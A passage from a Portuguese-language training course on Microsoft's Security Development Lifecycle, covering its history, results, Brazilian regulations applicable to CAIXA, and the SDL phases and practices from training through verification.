usado em uma empresa ou outro tipo de organização (incluindo as
acadêmicas, governamentais ou sem fins lucrativos)
que esteja conectado à Internet ou seja usado em um ambiente em
rede.
TELA 14
Treinamento obrigatório. Esse aspecto foi indispensável ao sucesso
dos esforços de segurança. Por isso, a Microsoft formalizou um requisito de
treinamento anual para engenheiros em organizações cujos softwares estão
ProdutivaTI Página 26 de 131
MÓDULO 3 - SDL
sujeitos ao SDL. A atualização anual indispensável decorre do fato de a
segurança não ser um domínio estático: as ameaças, os ataques, os cenários e
as defesas evoluem.
A partir dos detalhes da implementação dessa exigência, diversos
parceiros e clientes se interessaram pelos processos e treinamentos em
segurança da Microsoft, dando margem ao surgimento de novos produtos. A
Microsoft Press tem publicado livros baseados nas práticas internas da
Microsoft sobre design seguro, codificação e modelagem de ameaças,
enquanto a Microsoft Learning oferece cursos sobre as mesmas base.
TELA 15
Métricas para equipes de produtos. Direcionada pelo ditado "não é
possível gerenciar o que não se pode medir", a Microsoft criou um conjunto de
métricas de segurança que as equipes de produto podem usar para monitorar o
êxito da implementação do SDL.
Essas métricas englobam a implementação da equipe do SDL desde a
modelagem de ameaças, a revisão do código e os testes de segurança até a
segurança do software apresentado para a FSR. Como essas métricas são
implementadas ao longo do tempo, elas devem permitir que as equipes
acompanhem seu próprio desempenho (melhorando, nivelado ou piorando),
bem como o seu desempenho em comparação com outras equipes.
TELA 16
A equipe de segurança central. A equipe SWI (Secure Windows
Iniciative - Iniciativa do Windows seguro) foi criada pela Microsoft com a função
de aprimorar a segurança do software; reduzir vulnerabilidades no Windows;
fornecer suporte de segurança a equipes de produto e às que desenvolvem o
Windows.
O papel da equipe SWI foi fundamental na organização e no
gerenciamento do esforço de segurança do Windows Server 2003, e forneceu
suporte de consultoria e treinamento para todos os esforços de segurança
ProdutivaTI Página 27 de 131
MÓDULO 3 - SDL
ocorridos no início de 2002. A SWI também executou a FSR do Windows
Server 2003, sendo pioneira no processo de FSR.
TELAS 17 e 18A disponibilidade e a eficiência da equipe SWI são fatores-chave na
implementação do SDL na Microsoft. Com a distribuição formal do SDL, a SWI
assumiu o papel de equipe de segurança central da Microsoft, sendo que suas
responsabilidades incluem:
desenvolver, manter e aprimorar o SDL, definindo aspectos
obrigatórios do processo;
desenvolver, aprimorar e fornecer treinamento a engenheiros;
fornecer 'supervisores de segurança' para orientação e revisão das
atividadades das equipes de produto durante o processo, garantindo
que as perguntas da equipe de produto recebam respostas
oportunas, precisas e autorizadas.
servir como especialistas no assunto em uma ampla variedade de
tópicos de segurança, garantindo que as perguntas direcionadas aos
supervisores de segurança recebam respostas oportunas e precisas.
executar as revisões finais de segurança antes que o software seja
lançado.
investigar vulnerabilidades relatadas em software que foi lançado
para os clientes, garantindo sejam compreendidas suas causas e que
seja iniciado o nível de resposta apropriado.
TELA 19
Resultados da implementação do ciclo de vida do desenvolvimento da segurança (SDL) na Microsoft. Embora tenha optado por não fazer
declarações conclusivas quanto à capacidade do SDL em melhorar a
segurança do software, a Microsoft considerou animadores os resultados do
esforço empreendido na ocasião.
Desde o lançamento do Windows Server 2003, que foi o primeiro
sistema operacional na Microsoft que implementou grandes partes do SDL, o
ProdutivaTI Página 28 de 131
MÓDULO 3 - SDL
número de boletins de segurança emitidos tem sido menor, conforme se pode
visualizar na Figura 4.
Figura 4 - O Windows antes e depois dos boletins de segurança importantes e críticos do SDL. FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx
TELA 20A Microsoft avaliou cada boletim de segurança que se aplica ao
Windows 2000 em relação ao seu sistema atual de classificação de gravidade,
levando-se em conta que o Windows Server 2003 foi desenvolvido com a
maioria (mas não todos) os processos do SDL e o Windows 2000 não foi
desenvolvido sob o SDL.
As classes de gravidade foram disponibilizadas
em http://www.microsoft.com/technet/security/bulletin/rating.mspx.
Outros lançamentos de software Microsoft também aplicaram elementos
do SDL, no âmbito dos esforços de segurança.
Os resultados do esforço de segurança do SQL Server foram
incorporados ao SQL Server 2000 Service Pack 3, e os do Exchange Server
foram incorporados ao Exchange 2000 Server Service Pack 3.
ProdutivaTI Página 29 de 131
MÓDULO 3 - SDL
TELA 21As Figuras 5 e 6 evidenciam os ganhos obtidos, ao mostrarem a
quantidade de boletins de segurança lançados em períodos iguais antes de
depois do lançamento do respectivo service pack (um período de 24 meses
para o SQL Server 2000 e de 18 meses para o Exchange 2000 Server).
Figura 5 - O SQL Server 2000 antes de depois dos boletins de segurança do SDL.FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx
TELA 22
A eficiência do SDL continuou sendo evidenciada por meio de diversos
exemplos. A Microsoft considera animador o caso do componente Internet
Information Server do Windows Server 2003 (IIS 6), que se manteve sob
monitoramento contínuo nos anos posteriores ao seu lançamento no que diz
respeito a níveis de vulnerabilidades de segurança.
Figura 6 - O Exchange Server 2000 antes de depois dos boletins de segurança do SDL. FONTE: Microsoft® Corporation, disponível em: https://msdn.microsoft.com/pt-br/library/ms995349.aspx
ProdutivaTI Página 30 de 131
MÓDULO 3 - SDL
TELA 23
De igual maneira, têm sido monitoradas as taxas de vulnerabilidades no
Windows Server 2003 e nos service packs do Exchange Server e do SQL
Server para ver se as tendências iniciais persistem.
Mantém-se como propósito da organização a análise e monitoramento
de outros softwares Microsoft, conforme novas versões sejam fornecidas após
a implementação total do SDL, para determinar se as taxas de gravidade e os
números de vulnerabilidades de segurança continuam caindo.
TELA 24
2.3. Visão Geral de Regulamentações que demandam segurança em desenvolvimento
Quando se fala em desenvolvimento seguro de softwares e aplicações,
não se pode focar exclusivamente em metodologias de segurança utilizadas
para criar aplicativos e serviços online.
É preciso, também, levar em consideração as regras organizacionais
voltadas ao controle do risco operacional de cada perfil de negócio. Além disso,
variados cenários normativos podem exigir que determinados grupos ou
organizações se adequem a exigências de mercado e/ou governamentais.
Sendo assim, é indispensável que o profissional de segurança tenha
ciência da conjuntura regulatória na qual estão situadas as organizações-
clientes. Apenas dessa forma, será possível ampliar o alcance do
desenvolvimento seguro com a incorporação dos requisitos legais adequados a
cada caso.
ProdutivaTI Página 31 de 131
MÓDULO 3 - SDL
TELA 25Sabemos o quanto é difícil para um profissional de TI, que não tenha
simultaneamente formação jurídica, compreender as exigências legais e
incorporá-la aos seus esforços de desenvolvimento seguro.
Sabemos também que é impossivel relacionar aqui toda a estrutura
normatíva necessária ao desenvolvimento seguro de aplicações. Isso porque
cada software tem sua destinação e contexto, estando, portanto, sujeito a um
arcabouço regulatório próprio.
Diante da complexidade dos fatos, optamos por fazer uma abordagem
genérica, capaz de auxiliar ao profissional de segurança da informação a
perceber a importância de buscar a conformidade normativa no momento de
produzir ou atualizar um software.
TELA 26Por motivos óbvios, tomamos como ponto de partida a CAIXA. Trata-se
de uma empresa pública federal, que atua no segmento financeiro de mercado
e, ao mesmo tempo, no segmento governamental de fomento.
Essa descrição super resumida da realidade da CAIXA já traz em si
mesma altíssima complexidade jurídica. Que precisa ser analisada e levada em
conta nos planejamentos dos processos de desenvolvimento seguro.
Opa! Agora ficou difícil de entender, TutorTI.
Você está querendo dizer que para desenvolver softwares para a CAIXA
temos que conhecer as leis que a regem
TELA 27De certa forma, sim. Estamos dizendo que, se quisermos desenvolver
softwares seguros, deveremos levar em conta, sempre que for necessário, o
contexto regulatório do no qual se encontra o cliente e, se for o caso, o produto
que foi encomendado.
Por exemplo, suponha, primeiramente, que você deva desenvolver um
produto financeiro comum. Ele está sujeito às leis do mercado e à legislação
federal para empresas públicas. Por isso, o desenvolvimento seguro requer
ProdutivaTI Página 32 de 131
MÓDULO 3 - SDL
que sejam conhecidas as normas governamentais, as regras do Banco Central,
a política de gestão de risco da CAIXA, etc.
TELA 28Por outro lado, imagine agora que a encomenda seja uma solução para
viabilizar o incentivo governamental a um programa de moradia popular, que
será implementado por meio da CAIXA.
Pois bem, nesse caso, para o desenvolvimento seguro, será igualmente
necessário conhecer as normas governamentais, as regras do Banco Central, a
política de gestão de risco da CAIXA, etc.
Além disso, por se tratar de programa de fomento à moradia, os
desenvolvedores deverão igualmente conhecer a legislação que criou aquele
programa. Só assim será possível cumprir seus requisitos, respeitar suas
limitações e desenvolver um software que apresente o mínimo de riscos
operacionais para a Caixa.
TELA 29
Nossa, TutorTI! Eu trabalho com desenvolvimento de software há
mais de dez anos e nunca ouvi falar nisso.
Acredito em você, mas os tempos mudaram. Lembra dos argumentos
técnicos que foram usados para responder à questão: porque desenvolvimento
seguro?
Vamos recordar alguns deles: o histórico da indústria de software está
repleto de bugs de segurança; as ameaças têm mudado ao longo do tempo,
aumentando muito a vulnerabilidade dos usuários; os atuais métodos de
desenvolvimento não conseguem produzir software seguro sem um modelo de
processo de desenvolvimento seguro.
TELA 30Dito isso, podemos completar com o fato de que a própria Microsoft, e
depois dela tantas outras corporações, só começou a despertar para a
necessidade do desenvolvimento seguro a partir de 2002. E a segurança exige,
ProdutivaTI Página 33 de 131
MÓDULO 3 - SDL
sim, que os profissionais de TI caminhem na direção do conhecimento do
negócio organizacional e de seu arcabouço regulatório.
Agora que já compreendemos essa importância, enumeramos, na
Tabela 1, algumas das mais mais importantes normas relacionadas à
segurança da informação e aplicáveis à Administração Pública Federal (APF),
pois a Caixa é uma empresa pública federal.
TELA 31
Lei, Decreto, Norma ou Medida Provisória O que regulamenta?
Lei 12.527 de 18 de novembro de 2011.Regula o acesso a informações, regulamentando dispositivo do art. 5o, da Constituição Federal Brasileira.
Lei 7.232 de 29 de outubro de 1984. Dispõe sobre a Política Nacional de Informática e dá outras providências.
Decreto 3.505 de 13 de julho de 2000.Institui a política de segurança da Informação nos Órgãos e entidades da APF.
Decreto nº 4.553 de 27 de dezembro de 2002.
Dispõe sobre a salvaguarda de dados, informações, documentos e materiais sigilosos de interesse da segurança, da sociedade e do Estado, no âmbito daAPF.
Instrução normativa nº1 do GSI de 13 de junho de 2008.
Disciplina a Gestão de segurança da Informação e comunicações na Administração pública Federal, direta e indireta.
Norma Complementar nº 002 – Metodologia de gestão de SIC.
Define a metodologia de gestão de segurança da informação e comunicações utilizada pelos órgãos e entidades da APF direta e indireta.
Norma Complementar nº 003 – Elaboração e manutenção da política de Segurança.
Define diretriz para elaboração de política de segurança da informação e comunicações nos órgãos e entidades da APF.
Norma Complementar nº 004 – Gestão de Riscos.
Estabelece as diretrizes para o processo de Gestão de Riscos de Segurança da Informação e Comunicações - GRSIC nos órgãos ou entidades da APF direta e indireta.
Instrução Normativa nº 04 de 19 de maio de 2008.
Dispõe sobre o processo de contratação de serviços de Tecnologia da Informação pela APF direta, autárquica e fundacional
Lei 9.983 de 14 de julho de 2000.Acrescenta penas ao código penal brasileiro a indivíduos que violarem os sistemas de informação.
Tabela 1 - Leis, decretos e instruções normativas brasileiras.FONTE: Elaboração da autora.
TELA 32Ressalte-se que, por se tratar de instituição financeira, a CAIXA também
se sujeita a normativos específicos de seu segmento de atuação, incluindo leis
e acordos internacionais.
Como exemplo, podem ser citadas as diversas resoluções do Conselho
Monetário Nacional (CMN); a Lei norte-americana Sarbannes-Oxley; os
acordos Basileia I, II e III, do Comitê de Regulamentação Bancária e Práticas
de Supervisão, criado pelos países do G10 em 1974;
ProdutivaTI Página 34 de 131
MÓDULO 3 - SDL
Além disso, o desenvolvimento seguro deve respeitar as normas ABNT
ISO/IEC 27001:2006 e ABNT ISO/IEC 27002:2005 no contexto de segurança
para o desenvolvimento de sistemas Web Services.
Finalmente, temos que considerar que a CAIXA possui estrutura
normativa própria, compatível com a natureza e com a complexidade de seus
produtos, serviços, atividades, processos e sistemas. Todo esse complexo
conjunto deve ser considerado noplanejamento de softwares seguros alinhado
com o negócio da organização.
TELA 33Como o caso das políticas de gerenciamento de Risco Operacional, na
CAIXA, cujos principais normativos estão resumidos na Tabela 2.
NORMATIVO CONTEÚDOPO003
Política de Gerenciamento de Riscos do Conglomerado CAIXA, que consolida todas as políticas de riscos.
NS106Modelo de Atuação em Gerenciamento de Riscos Operacionais, que detalha os processos de identificação e avaliação de riscos operacionais.
CR173
Limites de Exposição a Risco de Mercado, de Carteira de Crédito, de Liquidez e Operacional, que define os limites de exposição em conformidade com a PO003, com as estratégias e objetivos empresariais, com a legislação vigente e com as boas práticas de Governança Corporativa, definindo a tolerância ao risco da CAIXA e resguardando a sua solvência e liquidez.
CR011Mitigação de Risco Operacional, que estabelece regras e procedimentos para mitigar riscos operacionais identificados ou corrigir erros e/oue falhas em processos, produtos e serviços, visando minimizar as perdas financeiras.
CR115Gestão do Risco Operacional, que define parâmetros, modelos e métodos para identificação, avaliação, monitoramento, controle, mitigação de riscos operacionais e divulgação interna e externa.
CR266Eventos de Risco Operacional, que estabelecer os níveis, as categorias e as definições de eventos de risco operacional a fim de permitir sua adequada classificação, contribuindo, inclusive, para adoção de ações para mitigação de riscos.
Tabela 2- Gerenciamento de Riscos do Conglomerado CAIXA.FONTE: Elaboração da autora.
TELA 34
Concluímos, assim, mais uma unidade de aprendizagem. Ao longo dela,
você teve a oportunidade de refletir em torno do desenvolvimento seguro;
percebeu a importância que as organizações devem dar ao tema; identificou
algumas justificativas operacionais e estratégicas em favor da segurança no
desenvolvimento de aplicações; conheceu alguns cases de implementação; e
teve uma visão geral da legislação que regula questões de segurança em
desenvolvimento.
ProdutivaTI Página 35 de 131
MÓDULO 3 - SDL
TELAS 35 a 37
Em RESUMO: Justificativas técnicas para o Desenvolvimento Seguro =>
- atuais métodos não conseguem produzir software seguro;
- ameaças têm mudado ao longo do tempo, aumentando muito a vulnerabilidade dos
usuários;
- falta de segurança tem a ver com privacidade e tempo de inatividade;
- paisagem de segurança e privacidade não é a mesma da virada do século;
- hoje tudo está conectado e criminosos atuam na comunidade on-line;
- não existe indícios de que essa tendência vai diminuir;
- histórico da indústria de software está repleto de bugs de segurança.
Justificativas estratégicas para o Desenvolvimento Seguro => investimentos em
segurança são:
- meios de mitigar questões de privacidade que podem levar a ações judiciais;
- formas de evitar violações de acordos de nível de serviço que geram inatividade,
resultando em prejuízos contratuais diretos;
- solução plausível de gestão de riscos operacionais e custos associados.
Categorias de normativos aos quais a CAIXA se sujeita =>
- públicos, por ser empresa pública federal;
- privadas, por atuar no mercado financeiro;
- resoluções, leis e acordos internacionais aplicáveis ao mercado financeiro;
- normas internas que definem suas próprias políticas de negócio, de gestão de riscos, de TI,
etc.
ProdutivaTI Página 36 de 131
MÓDULO 3 - SDL
TELA 13. O processo de segurança em desenvolvimento (40 telas)
Esta unidade de aprendizagem visita o processo de segurança em
desenvolvimento, permitindo-nos maior aproximação com especificidades do
tema proposto. Nos tópicos do Capítulo 3 você:
terá uma visão geral do Security Development Lifecycle (SDL);
percorrerá as seguintes fases do ciclo de desenvolvimento
seguro:
o fase de planejamento;
o fase de design;
o fase de implementação; e
o fase de administração da solução.
TELA 2Como já vimos, segurança é um requisito fundamental para
fornecedores de software. Ela sofre pressões do mercado, pela necessidade de
proteger infraestruturas críticas e de criar e preservar uma cultura de confiança
na área de TI.
Dessa realidade, surge um importante desafio, que é a criação de
softwares mais seguros, que requeiram menos atualizações e permitam melhor
gerenciamento de segurança.
A utilização de processos repetitivos capazes de fornecer segurança
mensurável tem sido reconhecida como uma das formas de suprir a demanda
atual por mais segurança. Isso requer a transição da realidade atual para um
processo de desenvolvimento de software mais rigoroso, focado na segurança.
TELA 3O processo repetitivo proposto teria o objetivo de minimizar o número de
vulnerabilidades de segurança existentes no design, na codificação e na
documentação, detectando e removendo essas vulnerabilidades o mais cedo
possível ao longo do ciclo de vida do desenvolvimento.
ProdutivaTI Página 37 de 131
MÓDULO 3 - SDL
O Microsoft Security Development Lifecycle (SDL) é uma proposta da
Microsoft para criação de processos com práticas de segurança consistentes. A
Parte II do manual do SDL apresenta 'O Processo do Ciclo de Vida de
Desenvolvimento de Segurança'. Trata-se de seção com 13 capítulos que
representam o núcleo do livro. Cada capítulo mapeia um dos estágios do SDL
e estabelece os requisitos para aquela fase. Os tópicos que trataremos nesta
unidade de aprendizagem representam um resumo dos principais aspectos
daquele manual.
TELA 4
3.1. Visão Geral do SDL
A proposta do SDL envolve garantia de segurança em web services com
foco no ciclo de vida do desenvolvimento de software.
Implantado parcialmente a partir de 2002 e com uma política de uso
obrigatório em toda a organização desde 2004, o SDL tem desempenhado
função essencial na segurança e na privacidade incorporadas à cultura
corporativa da Microsoft.
ATENÇÃO:
Web service pode ser entendido como uma “aplicação lógica, programável que torna
compatíveis entre si os mais diferentes aplicativos, independentemente do sistema
operacional, permitindo a comunicação e intercâmbio de dados entre diferentes redes"
Saiba mais em: <http://www.governoeletronico.gov.br/anexos/guia-de-orientacao-para-implementacao-
de-webservices/view>.
TELA 5O SDL possui abordagem prática, objetiva e dinâmica, sem perder a
visão ampla que envolve o negócio e as políticas organizacionais. Tem por
objetivo reduzir a incidência e a gravidade das vulnerabilidades dos softwares,
ProdutivaTI Página 38 de 131
MÓDULO 3 - SDL
garantindo segurança e privacidade em todas as fases do processo de
desenvolvimento.
A estratégia de segurança do SDL baseia-se na regra SD3+C, que
corresponde aos princípios do desenvolvimento seguro:
Secure by Design (segurança por design),
Secure by Default (segurança por padrão),
Secure in Deployment (segurança na implantação -
desenvolvimento/produção), e
Communications (comunicação).
TELA 6O SDL aplica esses princípios no ciclo de vida de desenvolvimento de
software.
Um modelo de ciclo de vida composto por sete fases, conforme ilustra, de
forma simplificada, a Figura 7, a seguir. Esse é o chamado processo SDL de
desenvolvimento de software.
TELA 7
Apesar de possuir fases bem marcadas para cada etapa da
construção do sistema, você poderá encontrar em seus estudos, algumas
variações do modelo da Figura 7 - O Microsoft Security Development Lifecycle -
Simplificado..
Isso ocorre porque a Microsoft adota os conceitos principais ali apontado
e aplica o SDL como um processo que reflete os contextos de negócios e
técnicos da organização na qual ele é utilizado.
Dessa forma, o SDL tem sido aplicado a centenas de produtos da
Microsoft executados em vários sistemas operacionais e plataformas de
ProdutivaTI Página 39 de 131
Figura 7 - O Microsoft Security Development Lifecycle - Simplificado.FONTE: https://www.microsoft.com/en-us/SDL/process/training.aspx
MÓDULO 3 - SDL
hardware. Isso não quer dizer que o modelo é variável, e, sim, que ele é
adaptável, ajustável, sem perder sua essência.
TELA 8A integração dos conceitos de desenvolvimento seguros a um processo
de desenvolvimento já existente pode ser complexo, caro e intimidador, caso
não seja adequadamente implementado. A Microsoft criou o modelo de
otimização do SDL para ajudar a contribuir com o sucesso e diminuir as falhas
dessas iniciativas.
Tomemos o modelo de otimização do SDL estruturado em torno de cinco
áreas de capacidade, correspondentes às fases do ciclo de vida do
desenvolvimento de software, por exemplo:
1. Treinamento, política e capacidades organizacionais
2. Requisitos (planejamento) e design
3. Implementação
4. Verificação (administração)
5. Liberação e resposta
TELA 9
Observe que, apesar de termos especificado apenas cinco fases, temos
a mesma estrutura ilustrada pela Figura 7. As únicas diferenças estão no fato
de que agrupamos as fases de requisito/design e as fases de
liberação/resposta. Uma outra forma de organizar o mesmo ciclo de vida seria
seria considerar o treinamento como pré-fase e enumerar as seguintes cinco
fases:
1. Planejamento (requisitos)
2. Design
3. Implementação
4. Verificação
5. Liberação.
ProdutivaTI Página 40 de 131
MÓDULO 3 - SDL
TELA 10O modelo de otimização do SDL estabelece quatro níveis de maturidade
para as práticas e capacidades: básico, padronizado, avançado e dinâmico.
Ele se inicia com o nível de maturidade básico, com nenhum ou poucos
processos, treinamentos e ferramentas implantados e progride até o nível
dinâmico, que se caracteriza por total conformidade do SDL em toda a
organização.
A implantação completa do SDL inclui processos eficientes, pessoal
altamente treinado, ferramentas especializadas e forte responsabilidade das
partes internas e externas à organização.
Cumpre, portanto, os três aspectos-chaves na criação de software mais
seguro: o processo repetitivo, o treinamento de engenheiros e as métricas e
responsabilidades.
TELA 11Indepedentemente de serem cinco ou sete fases, como mostra a Figura
7, é preciso enfatizar que o modelo do SDL não é um processo de
desenvolvimento em 'cascata'.
Trata-se de um processo em 'espiral', no qual os requisitos e o design
são revisitados diversas vezes durante a implementação. Sempre registrando
ganhos em resposta aos ajustes necessários ao alinhamento com o negócio
corporativo e com as realidades surgidas ao longo do ciclo de vida do software.
No que diz respeito às fases do ciclo de vida, é preciso registrar que,
antes de iniciar a implementação, o SDL recomenda o treinamento dos
profissionais que serão envolvidos com o projeto, como o programador,
revisor, o arquiteto, o analista, o gestor e o testador. Essa éuma pré-fase,
considerada indispensável à capacitação e atualização das equipes.
TELA 12A recomendação de treinamento é que cada profissional realize
anualmente, no mínimo, os seguintes cursos:
Projeto de segurança: redução da superfície de ataque, defesa em
profundidade e em camadas e o princípio do menor privilégio.
Modelagem de ameaças: implicações do projeto de modelagem de
ameaças e as restrições de codificação da modelagem.
ProdutivaTI Página 41 de 131
MÓDULO 3 - SDL
Codificação segura: estouro de buffer, erros de aritmética de inteiros,
cross-site scripting, SQL injection e criptografia fraca.
Testes de segurança: métodos de testes de segurança e funcionais e
avaliação de riscos.
Privacidade: tipos de dados sensíveis à privacidade, projetar,
desenvolver e testar a privacidade de acordo com as melhores práticas.
TELA 13
Esse plano mínimo de treinamento constitui a 'Prática 1 do SDL:
Requisitos de treinamento'. Cada uma das demais fases possui três práticas,
correspondendo a um total de dezesseis prática. Vejamos algumas delas,
aseguir, com a especificação das fases de planejamento (requisitos), design,
implementação e administração .
TELA 14
3.2. A Fase de Planejamento
No início de um projeto é importante que se faça o alinhamento de todos
os pontos de segurança. Essa é uma providência de planejamento que tende a
favorecer uma melhor revisão de segurança e um produto de maior qualidade.
O planejamento do projeto tem uma série de passos discretos e
importantes, que ocorrem nesta fase de requisitos: determinar se o aplicativo é
coberto pelo ciclo de vida de desenvolvimento de segurança (SDL); definit o
supervisor de segurança; criar equipe de liderança de segurança; garantir que
o processo de rastreamento de bugs inclui campos de bugs de segurança e
privacidade; determinar a 'barra de erros'.
Todos esses passos, e alguns outros, se desenvolvem nas práticas 2 a 4
do SDL, conforme vemos a seguir.
ProdutivaTI Página 42 de 131
MÓDULO 3 - SDL
TELA 15Prática 2 do SDL: requisitos de segurança. Após a pré-fase de
treinamento, o processo entra na fase de requisitos, na qual ocorre o
planejamento do que se desdobrará nas próximas etapas. Durante a fase de
requisitos, a equipe de produto solicita à equipe de segurança central que
designe um supervisor de segurança, que servirá como um ponto de contato,
pesquisa e orientação durante o planejamento e até a conclusão da revisão
final de segurança e o lançamento do software.
Essa fase representa o momento ideal para definir os requisitos de
confiabilidade para um projeto de software está nos estágios iniciais do
planejamento. A definição inicial de requisitos permite que as equipes de
desenvolvimento identifiquem as etapas e os resultados finais principais;
permite a integração da segurança e da privacidade de forma a minimizar
interrupções de planos e cronogramas. A análise de requisitos de segurança e
de privacidade é realizada no primeiro esboço do projeto, inclui a especificação
dos requisitos de segurança mínimos para o aplicativo, e a especificação e
implantação de um sistema de monitoramento de vulnerabilidade de
segurança/itens de trabalho.
TELA 16Prática 3 do SDL: portões de qualidade/barras de erros. Portões de
qualidade e barras de erros são critérios usados para estabelecer níveis mínimos
aceitáveis de qualidade de segurança e de privacidade. São definidos no início
de um projeto para melhorar o entendimento dos riscos, permitindo que as
equipes identifiquem e corrijam falhas de segurança durante o desenvolvimento.
São parâmetros que devem ser negociados pela equipe de projetos e aprovados
pelo consultor de segurança para cada fase de desenvolvimento. Uma barra de
erros é um portão de qualidade que se aplica a todo o projeto de
desenvolvimento de software. Ela é usada para definir os limites de severidade
das vulnerabilidades de segurança, por exemplo, nenhuma vulnerabilidade
conhecida na aplicação com uma classificação “crítica” ou “importante” no
momento da liberação. A barra de erros, uma vez estabelecida, nunca deve ser
cedida.
ProdutivaTI Página 43 de 131
MÓDULO 3 - SDL
TELAS 17 a 19Prática 4 do SDL: avaliações de riscos de segurança (SRAS) e de
privacidade (PRAS). SRAS e as PRAS são processos obrigatórios que
identificam os aspectos funcionais do software. Essas avaliações devem incluir
as seguintes informações:
1. (Segurança) Quais partes do projeto requerem modelos de ameaças antes
da liberação?
2. (Segurança) Quais partes do projeto requerem revisões do design de
segurança antes da liberação?
3. (Segurança) Quais partes do projeto (se houver) exigirão um teste de
penetração por um grupo de comum acordo que seja externo à equipe do
projeto?
4. (Segurança) Existem outros requisitos de teste ou de análise considerados
necessários pelo consultor de segurança para mitigar os riscos de
segurança?
5. (Segurança) Qual é o escopo específico dos requisitos de teste fuzzing?
6. (Privacidade) O que é a Classificação de impacto de privacidade? A
resposta para essa pergunta se baseia nas seguintes diretrizes:
P1 Risco de privacidade alto, quando o recurso, produto ou serviço
armazena ou transfere Pll, altera as configurações ou as associações de
tipo de arquivo ou instala softwares.
P2 Risco de privacidade moderado, quando o único comportamento que
afeta a privacidade no recurso, produto ou serviço é uma transferência
de dados iniciada pelo usuário e anônima.
P3 Risco de privacidade baixo, quando não há comportamento nesse
recurso, produto ou serviço que afeta a privacidade.
ProdutivaTI Página 44 de 131
MÓDULO 3 - SDL
TELA 20
3.3. A Fase de Design
A fase de design identifica a estrutura e os requisitos gerais do software.
Seus elementos-chave são parte das práticas 5 a 7 do SDL.
Prática 5 do SDL: requisitos de design . O momento ideal para influenciar
a confiabilidade do design de um projeto é o início de seu ciclo de vida, quando
a mitigação dos problemas de segurança e de privacidade é muito mais barata.
Além disso, é indispensável que as equipes de projeto entendam a
diferença entre “recursos seguros” e “recursos de segurança”. É possível
implementar recursos de segurança que sejam, de fato, não seguros.
Recursos seguros são aqueles cuja funcionalidade é bem-estruturada do
ponto de vista da engenharia, no que diz respeito à segurança.
TELA 21Já o termo recursos de segurança descreve a funcionalidade do
programa que tenha implicações de segurança.
A atividade de requisitos de design contém variadas ações. Os exemplos
incluem a criação das especificações de design de segurança e de privacidade,
a revisão da especificação e a especificação dos requisitos de design
criptográficos mínimos. É uma boa prática validar as especificações de design
com relação à especificação funcional do aplicativo, que deve:
descrever precisa e completamente o uso planejado de um recurso ou
função.
descrever como implantar o recurso ou função de forma segura.
TELA 22
Prática 6 do SDL: redução da superfície de ataque. A redução da
superfície de ataque está intimamente alinhada com a modelagem de
ameaças, embora ela aborde as questões de segurança sob uma perspectiva
um pouco diferente. É um meio de reduzir riscos dando aos invasores menos
oportunidades de explorar um ponto fraco ou uma vulnerabilidade potenciais.
ProdutivaTI Página 45 de 131
MÓDULO 3 - SDL
Abrange o fechamento ou a restrição do acesso aos serviços do sistema,
aplicando o princípio de privilégio mínimo e empregando defesas em camadas
sempre que possível.
TELA 23
Prática 7 do SDL: modelagem de ameaças. A modelagem de ameaças é
usada em ambientes onde há um risco de segurança significativo.
É uma prática que permite que as equipes de desenvolvimento
considerem, documentem e discutam as implicações de segurança de designs
no contexto de um ambiente operacional planejado e de forma estruturada.
A modelagem de ameaças é um exercício de equipe, abrangendo os
gerentes de programas/projetos, desenvolvedores e testadores e representa a
tarefa de análise de segurança primária realizada durante o estágio de design
de software.
TELA 24
3.4. A Fase de Implementação
Durante a fase de implementação, a equipe de produto gera o código,
testa e integra o software. Promovem etapas seguidas para remover falhas de
segurança ou evitar sua inserção inicial, reduzindo significativamente a
probabilidade de que vulnerabilidades de segurança na versão final do
software.
Os elementos do SDL que são aplicados na fase de implementação
desencadeiam-se nas práticas 8 a 10 do SDL.
ProdutivaTI Página 46 de 131
MÓDULO 3 - SDL
TELA 25
Prática 8 do SDL: Utilizar ferramentas aprovadas. Todas as equipes de
desenvolvimento devem definir e publicar uma lista de ferramentas aprovadas
pelo consultor de segurança da equipe do projeto, com as verificações de
segurança associadas, como as opções e os avisos de compilador/vinculador.
As equipes de desenvolvimento devem procurar usar a versão mais
recente das ferramentas aprovadas para aproveitar as novas funcionalidades e
proteções de análise de segurança.
TELA 26Prática 9 do SDL: desaprovar funções não seguras. Muitas funções e
APIs comumente usadas não são seguras frente ao ambiente atual de
ameaças.
As equipes de projeto devem analisar todas as funções e APIs que
serão usadas em um projeto de desenvolvimento de software e proibir as que
forem consideradas não seguras.
Uma vez definida a lista de proibidos, as equipes de projeto devem usar
arquivos de cabeçalho, novos compiladores ou ferramentas de verificação de
código para verificar a existência de funções banidas e substituí-las por
alternativas mais seguras.
TELA 27Prática 10 do SDL: Análise estática. As equipes de projeto devem
realizar análises estáticas de código-fonte para alcançar uma capacidade
escalável de revisão de código de segurança.
O que pode ajudar a assegurar que as políticas de codificação seguras
estejam sendo seguidas.
Tendo em vista que a análise de código estática é geralmente
insuficiente para substituir uma revisão de código manual, a equipe e os
consultores de segurança devem estar preparados para acrescentar às
ferramentas de análise estática outras ferramentas ou revisão humana, como
for apropriado.
ProdutivaTI Página 47 de 131
MÓDULO 3 - SDL
TELA 28
3.5. A Fase de Administração
A fase de administração pode ser vista como todas as etapas que
ocorrem após a conclusão do software. Por isso é muitas vezes considerada
como a junção das fases de verificação e de liberação.
Fase de verificação. É o ponto em que o software está funcionalmente
concluído, entra em testes beta por usuários, a equipe de produto realiza um
'esforço de segurança' que inclui revisões do código além das concluídas na
fase de implementação, bem como testes de segurança direcionados. Esta
fase inclui as práticas 11 a 13 do SDL.
TELA 29
Prática 11 do SDL: Análise de programa dinâmica. A verificação de
tempo de execução de programas é necessária para garantir
sua funcionalidade planejada. Essa tarefa de verificação deve especificar as
ferramentas que monitoram o comportamento do aplicativo quanto à corrupção
da memória, problemas de privilégio do usuário e outros problemas de
segurança críticos.
Prática do SDL 12: Teste de fuzzing . O teste de fuzzing é uma forma
especializada de análise dinâmica usada para induzir a falha do programa ao
introduzir deliberadamente dados defeituosos ou aleatórios a um aplicativo. A
estratégia de teste de fuzzing é derivada do uso planejado do aplicativo e das
especificações funcionais e de design para o aplicativo.
TELA 30
Prática do SDL 13: Modelo de ameaças e revisão da superfície de
ataque. É comum para um aplicativo desviar significativamente das
especificações funcionais e de design criadas durante as fases de requisitos e
design de um projeto de desenvolvimento de software. Por isso, é essencial
ProdutivaTI Página 48 de 131
MÓDULO 3 - SDL
